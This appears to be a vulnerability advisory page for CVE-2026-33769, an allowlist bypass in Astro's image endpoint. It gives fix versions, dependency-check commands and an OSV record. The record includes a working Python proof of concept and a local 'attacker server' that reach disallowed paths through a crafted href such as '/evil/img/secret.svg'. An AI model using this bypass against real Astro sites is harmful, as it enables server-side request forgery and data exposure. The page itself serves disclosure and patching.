CVE-2026-33769: Astro Remote Allowlist Bypass Vulnerability
LOW
Advisory Identifier:
GHSA-g735-7g2w-hh3f
Advisory Summary
CVE-2026-33769 is a LOW (CVSS 5.3) remote allowlist bypass vulnerability (CWE-183: Permissive List of Allowed Inputs) affecting Astro libraries in the npm ecosystem. The issue involves remote allowlist bypass via unanchored matchpathname wildcard. Remediation is available by upgrading affected packages to version 5.18.1.
CVE-2026-33769 at a Glance
CVE Identifier
CVE-2026-33769
GHSA Identifier
GHSA-g735-7g2w-hh3f
Severity
LOW
CVSS v3.1 Base Score
5.3
CWE Classification
CWE-183: Permissive List of Allowed Inputs
Affected Product
Astro
Package Ecosystem
npm
Published Date
Last Updated
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
None (PR:N)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
Low (C:L)
Integrity
None (I:N)
Availability
None (A:N)
How to Fix CVE-2026-33769
To remediate this vulnerability, upgrade all affected Astro dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
astro
fixed: 5.18.1
npm install astro@5.18.1
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls astroHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-33769, inspect your project dependencies using npm:
npm ls astroAnalyze the terminal output to locate any version of Astro in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.18.1), your application is affected.
Note: The npm ls astro command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-183: Permissive List of Allowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. In Astro, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Summary
This issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
## Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
## Description
Taint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()`
User-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
```ts
const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);
const isRemoteImage = isRemotePath(transform.src);
if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
return new Response('Forbidden', { status: 403 });
}
```
`isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
```ts
export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
return (
matchProtocol(url, remotePattern.protocol) &&
matchHostname(url, remotePattern.hostname, true) &&
matchPort(url, remotePattern.port) &&
matchPathname(url, remotePattern.pathname, true)
);
}
```
The vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
```ts
} else if (pathname.endsWith('/*')) {
const slicedPathname = pathname.slice(0, -1); // * length
const additionalPathChunks = url.pathname
.replace(slicedPathname, '')
.split('/')
.filter(Boolean);
return additionalPathChunks.length === 1;
}
```
**Vulnerable code flow:**
1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL.
2. `matchPathname()` handles `pathname: "/img/*"` using `.replace()` on the URL path.
3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start.
4. The image endpoint fetches and returns the remote resource.
## PoC
The PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
### Vulnerable config
```js
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
image: {
remotePatterns: [
{ protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
{ protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
],
},
});
```
### Affected pages
This PoC targets the `/_image` endpoint directly; no additional pages are required.
### PoC Code
```python
import http.client
import json
import urllib.parse
HOST = "127.0.0.1"
PORT = 4321
def fetch(path: str) -> dict:
conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp = conn.getresponse()
body = resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should fail
results = {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))
```
### Attacker server
```python
from http.server import BaseHTTPRequestHandler, HTTPServer
HOST = "127.0.0.1"
PORT = 9999
PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
<text>OK</text>
</svg>
"""
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f">>> {self.command} {self.path}")
if self.path.endswith(".svg") or "/img/" in self.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
return
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, format, *args):
return
if __name__ == "__main__":
server = HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()
```
### PoC Steps
1. Bootstrap default Astro project.
2. Add the vulnerable config and attacker server.
3. Build the project.
4. Start the attacker server.
5. Start the Astro server.
6. Run the PoC.
7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
CVE-2026-33769 Affected Astro Versions
1 component(s)
Fixed Versions:
5.18.1
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
astro
|
npm |
≥ 2.10.10
< 5.18.1
|
5.18.1
|
References
Frequently Asked Questions
What is CVE-2026-33769?
CVE-2026-33769 is a security vulnerability in Astro involving Remote allowlist bypass via unanchored matchPathname wildcard under CWE-183: Permissive List of Allowed Inputs.
Which Astro versions are affected?
Affected versions include releases prior to 5.18.1 across affected packages: astro.
What version fixes CVE-2026-33769?
Upgrading to 5.18.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is astro affected?
Yes, astro is affected in releases prior to 5.18.1. Upgrade your dependency to 5.18.1 or later.
What is the CVSS score of CVE-2026-33769?
CVE-2026-33769 has a CVSS v3.1 base score of 5.3 (LOW) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-33769?
CVE-2026-33769 is classified under CWE-183: Permissive List of Allowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.).
How can I check npm dependencies for CVE-2026-33769?
Run the dependency tree command: 'npm ls astro'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-g735-7g2w-hh3f",
"modified" : "2026-03-26T18:45:17Z",
"published" : "2026-03-26T18:45:17Z",
"aliases" : [ "CVE-2026-33769" ],
"summary" : "Astro: Remote allowlist bypass via unanchored matchPathname wildcard",
"details" : "## Summary\nThis issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.\n\n## Impact\nAttackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.\n\n## Description\nTaint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()`\n\nUser-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56\n\n```ts\nconst url = new URL(request.url);\nconst transform = await imageService.parseURL(url, imageConfig);\n\nconst isRemoteImage = isRemotePath(transform.src);\n\nif (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {\n return new Response('Forbidden', { status: 403 });\n}\n```\n\n`isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21\n\n```ts\nexport function matchPattern(url: URL, remotePattern: RemotePattern): boolean {\n return (\n matchProtocol(url, remotePattern.protocol) &&\n matchHostname(url, remotePattern.hostname, true) &&\n matchPort(url, remotePattern.port) &&\n matchPathname(url, remotePattern.pathname, true)\n );\n}\n```\n\nThe vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99\n\n```ts\n} else if (pathname.endsWith('/*')) {\n const slicedPathname = pathname.slice(0, -1); // * length\n const additionalPathChunks = url.pathname\n .replace(slicedPathname, '')\n .split('/')\n .filter(Boolean);\n return additionalPathChunks.length === 1;\n}\n```\n\n**Vulnerable code flow:**\n1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL.\n2. `matchPathname()` handles `pathname: \"/img/*\"` using `.replace()` on the URL path.\n3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start.\n4. The image endpoint fetches and returns the remote resource.\n\n## PoC\n\nThe PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.\n\n### Vulnerable config\n```js\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n output: 'server',\n adapter: node({ mode: 'standalone' }),\n image: {\n remotePatterns: [\n { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },\n { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },\n ],\n },\n});\n```\n\n### Affected pages\nThis PoC targets the `/_image` endpoint directly; no additional pages are required.\n\n### PoC Code\n```python\nimport http.client\nimport json\nimport urllib.parse\n\nHOST = \"127.0.0.1\"\nPORT = 4321\n\ndef fetch(path: str) -> dict:\n conn = http.client.HTTPConnection(HOST, PORT, timeout=10)\n conn.request(\"GET\", path, headers={\"Host\": f\"{HOST}:{PORT}\"})\n resp = conn.getresponse()\n body = resp.read(2000).decode(\"utf-8\", errors=\"replace\")\n conn.close()\n return {\n \"path\": path,\n \"status\": resp.status,\n \"reason\": resp.reason,\n \"headers\": dict(resp.getheaders()),\n \"body_snippet\": body[:400],\n }\n\nallowed = urllib.parse.quote(\"http://127.0.0.1:9999/img/allowed.svg\", safe=\"\")\nbypass = urllib.parse.quote(\"http://127.0.0.1:9999/evil/img/secret.svg\", safe=\"\")\n\n# Both pass, second should fail\n\nresults = {\n \"allowed\": fetch(f\"/_image?href={allowed}&f=svg\"),\n \"bypass\": fetch(f\"/_image?href={bypass}&f=svg\"),\n}\n\nprint(json.dumps(results, indent=2))\n```\n\n### Attacker server\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nHOST = \"127.0.0.1\"\nPORT = 9999\n\nPAYLOAD = \"\"\"<svg xmlns=\\\"http://www.w3.org/2000/svg\\\">\n <text>OK</text>\n</svg>\n\"\"\"\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n print(f\">>> {self.command} {self.path}\")\n if self.path.endswith(\".svg\") or \"/img/\" in self.path:\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/svg+xml\")\n self.send_header(\"Cache-Control\", \"no-store\")\n self.end_headers()\n self.wfile.write(PAYLOAD.encode(\"utf-8\"))\n return\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain\")\n self.end_headers()\n self.wfile.write(b\"ok\")\n\n def log_message(self, format, *args):\n return\n\nif __name__ == \"__main__\":\n server = HTTPServer((HOST, PORT), Handler)\n print(f\"HTTP logger listening on http://{HOST}:{PORT}\")\n server.serve_forever()\n```\n\n### PoC Steps\n1. Bootstrap default Astro project.\n2. Add the vulnerable config and attacker server.\n3. Build the project.\n4. Start the attacker server.\n5. Start the Astro server.\n6. Run the PoC.\n7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "astro"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.10.10"
}, {
"fixed" : "5.18.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33769"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/withastro/astro"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-183", "CWE-20" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-26T18:45:17Z",
"nvd_published_at" : "2026-03-24T19:16:55Z"
}
}